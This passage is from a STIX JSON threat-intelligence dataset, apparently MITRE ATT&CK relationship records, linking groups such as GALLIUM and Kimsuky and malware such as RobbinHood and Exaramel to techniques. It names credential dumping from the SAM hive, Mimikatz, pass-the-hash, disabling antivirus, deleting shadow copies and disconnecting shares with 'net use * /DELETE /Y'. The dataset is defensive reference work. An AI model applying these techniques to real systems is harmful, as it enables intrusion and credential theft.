            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "external_references": [
                {
                    "source_name": "Cybereason Soft Cell June 2019",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used <code>reg</code> commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.(Citation: Cybereason Soft Cell June 2019)",
            "relationship_type": "uses",
            "id": "relationship--1a28a0a2-8e2f-4c42-b6b0-0ffe3d821528",
            "type": "relationship",
            "modified": "2020-03-25T18:09:06.729Z",
            "created": "2019-07-19T16:38:05.288Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "source_name": "Cybereason Soft Cell June 2019"
                },
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) along with a PowerShell-based [Mimikatz](https://attack.mitre.org/software/S0002) to dump credentials on the victim machines.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--7adea746-109e-41c2-bf48-20e0282038a0",
            "type": "relationship",
            "modified": "2021-01-13T21:16:05.345Z",
            "created": "2019-07-19T16:38:05.304Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "Cybereason Soft Cell June 2019",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used <code>ipconfig /all</code> to obtain information about the victim network configuration. The group also ran a modified version of [NBTscan](https://attack.mitre.org/software/S0590) to identify available NetBIOS name servers.(Citation: Cybereason Soft Cell June 2019)",
            "relationship_type": "uses",
            "id": "relationship--b10df154-0c2a-4159-ac0a-1bdaa78f56cb",
            "type": "relationship",
            "modified": "2021-03-17T16:14:44.113Z",
            "created": "2019-07-19T16:38:05.311Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "external_references": [
                {
                    "source_name": "Cybereason Soft Cell June 2019",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used <code>netstat -oan</code> to obtain information about the victim network connections.(Citation: Cybereason Soft Cell June 2019)",
            "relationship_type": "uses",
            "id": "relationship--a29a37fc-86e2-4b93-8fa5-560b0a395fbc",
            "type": "relationship",
            "modified": "2019-07-22T15:49:28.943Z",
            "created": "2019-07-19T16:38:05.326Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "Cybereason Soft Cell June 2019",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used <code>whoami</code> and <code>query user</code> to obtain information about the victim user.(Citation: Cybereason Soft Cell June 2019)",
            "relationship_type": "uses",
            "id": "relationship--aa64ee12-ae96-40fe-ba37-a8893cd321ec",
            "type": "relationship",
            "modified": "2019-07-22T15:49:28.941Z",
            "created": "2019-07-19T16:38:05.330Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "external_references": [
                {
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "source_name": "Cybereason Soft Cell June 2019"
                },
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "description": "(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)",
            "relationship_type": "uses",
            "id": "relationship--3b86d8fe-5677-4516-bf77-898e4da6171f",
            "type": "relationship",
            "modified": "2021-01-13T21:20:49.108Z",
            "created": "2019-07-19T16:38:05.420Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
            "external_references": [
                {
                    "source_name": "Cybereason Soft Cell June 2019",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."
                }
            ],
            "description": "(Citation: Cybereason Soft Cell June 2019)",
            "relationship_type": "uses",
            "id": "relationship--b0a6e22f-adad-4625-b07d-996221cf3a50",
            "type": "relationship",
            "modified": "2019-07-22T15:49:29.136Z",
            "created": "2019-07-19T16:38:05.446Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "source_name": "Cybereason Soft Cell June 2019"
                },
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
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                }
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                },
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                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
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                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) collected data from the victim's local system, including password hashes from the SAM hive in the Registry.(Citation: Cybereason Soft Cell June 2019)",
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                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used dumped hashes to authenticate to other machines via pass the hash.(Citation: Cybereason Soft Cell June 2019)",
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                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."
                }
            ],
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) ensured each payload had a unique hash, including by using different types of packers.(Citation: Cybereason Soft Cell June 2019)",
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                }
            ],
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                    "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.",
                    "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/",
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            "description": "[RobbinHood](https://attack.mitre.org/software/S0400) disconnects all network shares from the computer with the command <code>net use * /DELETE /Y</code>.(Citation: CarbonBlack RobbinHood May 2019)",
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                    "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.",
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            "description": "[RobbinHood](https://attack.mitre.org/software/S0400) uses cmd.exe on the victim's computer.(Citation: CarbonBlack RobbinHood May 2019)",
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                    "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.",
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            ],
            "description": "[RobbinHood](https://attack.mitre.org/software/S0400) will search for Windows services that are associated with antivirus software on the system and kill the process.(Citation: CarbonBlack RobbinHood May 2019) ",
            "relationship_type": "uses",
            "id": "relationship--8f16cec3-2fba-4b69-a5c5-c3eb1f185e90",
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                    "description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.",
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                }
            ],
            "description": "[RobbinHood](https://attack.mitre.org/software/S0400) deletes shadow copies to ensure that all the data cannot be restored easily.(Citation: CarbonBlack RobbinHood May 2019) ",
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                    "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research",
                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."
                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) loads its module with the XSL script parameter <code>vShow</code> set to zero, which opens the application with a hidden window. (Citation: Cybereason Astaroth Feb 2019)",
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                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
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                    "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.",
                    "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/",
                    "source_name": "Microsoft STRONTIUM Aug 2019"
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used port 443 for C2.(Citation: Microsoft STRONTIUM Aug 2019)",
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            "external_references": [
                {
                    "source_name": "ESET TeleBots Oct 2018",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."
                },
                {
                    "source_name": "ANSSI Sandworm January 2021",
                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to execute a shell command on the system.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)",
            "relationship_type": "uses",
            "id": "relationship--db451851-13b7-4aec-9146-2a770115140a",
            "type": "relationship",
            "modified": "2021-03-31T15:35:34.217Z",
            "created": "2019-08-26T13:02:46.897Z"
        },
        {
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            ],
            "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "ESET TeleBots Oct 2018",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."
                },
                {
                    "source_name": "ANSSI Sandworm January 2021",
                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses RC4 for encrypting the configuration.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)",
            "relationship_type": "uses",
            "id": "relationship--db1b7307-a473-40eb-be9c-25d95c0e2054",
            "type": "relationship",
            "modified": "2021-03-31T15:29:49.385Z",
            "created": "2019-08-26T13:02:46.924Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "ESET TeleBots Oct 2018",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."
                },
                {
                    "source_name": "ANSSI Sandworm January 2021",
                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses HTTPS for C2 communications.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)",
            "relationship_type": "uses",
            "id": "relationship--4528e56e-6c64-4eef-853d-d4011a9ea7ef",
            "type": "relationship",
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        {
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            ],
            "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "ESET TeleBots Oct 2018",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."
                },
                {
                    "source_name": "ANSSI Sandworm January 2021",
                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a command to download a file from  and to a remote C2 server.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)",
            "relationship_type": "uses",
            "id": "relationship--15bb2796-7c6d-4d03-8d86-8d83254bcf0b",
            "type": "relationship",
            "modified": "2021-03-31T15:29:49.400Z",
            "created": "2019-08-26T13:02:46.949Z"
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        {
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            ],
            "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd",
            "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
            "external_references": [
                {
                    "source_name": "ESET TeleBots Oct 2018",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."
                },
                {
                    "source_name": "ANSSI Sandworm January 2021",
                    "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."
                }
            ],
            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) uses crontab for persistence if it does not have root privileges.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)",
            "relationship_type": "uses",
            "id": "relationship--e28ddc1d-83a4-4382-a4dc-e55a60aa399d",
            "type": "relationship",
            "modified": "2021-03-31T15:43:38.134Z",
            "created": "2019-08-26T13:02:46.951Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "external_references": [
                {
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "source_name": "ESET TeleBots Oct 2018"
                }
            ],
            "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) automatically encrypts files before sending them to the C2 server.(Citation: ESET TeleBots Oct 2018) ",
            "relationship_type": "uses",
            "id": "relationship--1631a8e5-36e6-4468-9ed6-48df1138461c",
            "type": "relationship",
            "modified": "2020-03-30T02:10:54.887Z",
            "created": "2019-08-26T13:09:57.922Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "external_references": [
                {
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "source_name": "ESET TeleBots Oct 2018"
                }
            ],
            "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) specifies a path to store files scheduled for exfiltration.(Citation: ESET TeleBots Oct 2018) ",
            "relationship_type": "uses",
            "id": "relationship--ce4321e0-09e0-4e3a-b673-8a6e9248e720",
            "type": "relationship",
            "modified": "2020-03-16T23:50:46.732Z",
            "created": "2019-08-26T13:09:57.936Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.",
                    "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/",
                    "source_name": "Zdnet Kimsuky Dec 2018"
                },
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
                },
                {
                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."
                },
                {
                    "source_name": "VirusBulletin Kimsuky October 2019",
                    "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/",
                    "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."
                },
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.(Citation: Zdnet Kimsuky Dec 2018)(Citation: Securelist Kimsuky Sept 2013)(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
            "id": "relationship--b9f1dec0-f9b8-4cc3-a26c-5fc819f603a0",
            "type": "relationship",
            "modified": "2020-11-06T18:52:33.231Z",
            "created": "2019-08-26T15:27:12.951Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c",
            "external_references": [
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has a HWP document stealer module which changes the default program association in the registry to open HWP documents.(Citation: Securelist Kimsuky Sept 2013)",
            "relationship_type": "uses",
            "id": "relationship--b967963e-5dd4-42a3-a94e-8b3d17250aec",
            "type": "relationship",
            "modified": "2020-11-05T15:54:26.161Z",
            "created": "2019-08-26T15:27:12.971Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "external_references": [
                {
                    "source_name": "EST Kimsuky April 2019",
                    "url": "https://blog.alyac.co.kr/2234",
                    "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019."
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used mshta.exe to run malicious scripts on the system.(Citation: EST Kimsuky April 2019)(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--90f03f42-a2f1-4fab-8a10-ebbbbc4fba19",
            "type": "relationship",
            "modified": "2021-03-11T22:01:53.978Z",
            "created": "2019-08-26T15:27:12.985Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
                {
                    "source_name": "EST Kimsuky April 2019",
                    "url": "https://blog.alyac.co.kr/2234",
                    "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019."
                },
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a PowerShell-based keylogger.(Citation: EST Kimsuky April 2019)(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--a70ec2cc-5eeb-41c3-8dd3-2816a9010104",
            "type": "relationship",
            "modified": "2020-11-06T18:02:10.759Z",
            "created": "2019-08-26T15:27:12.987Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "external_references": [
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a modified TeamViewer client as a command and control channel.(Citation: Securelist Kimsuky Sept 2013)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "relationship_type": "uses",
            "id": "relationship--4fc9c0a5-952f-4726-8c53-39fbf40a67e3",
            "type": "relationship",
            "modified": "2020-12-22T17:59:54.261Z",
            "created": "2019-08-26T15:27:12.991Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "external_references": [
                {
                    "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.",
                    "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/",
                    "source_name": "Zdnet Kimsuky Dec 2018"
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used Google Chrome browser extensions to infect victims and to steal passwords and cookies.(Citation: Zdnet Kimsuky Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--4c142924-33e7-4920-b1c7-9259d08fbb6e",
            "type": "relationship",
            "modified": "2020-11-05T15:54:26.212Z",
            "created": "2019-08-26T15:27:13.005Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
                }
            ],
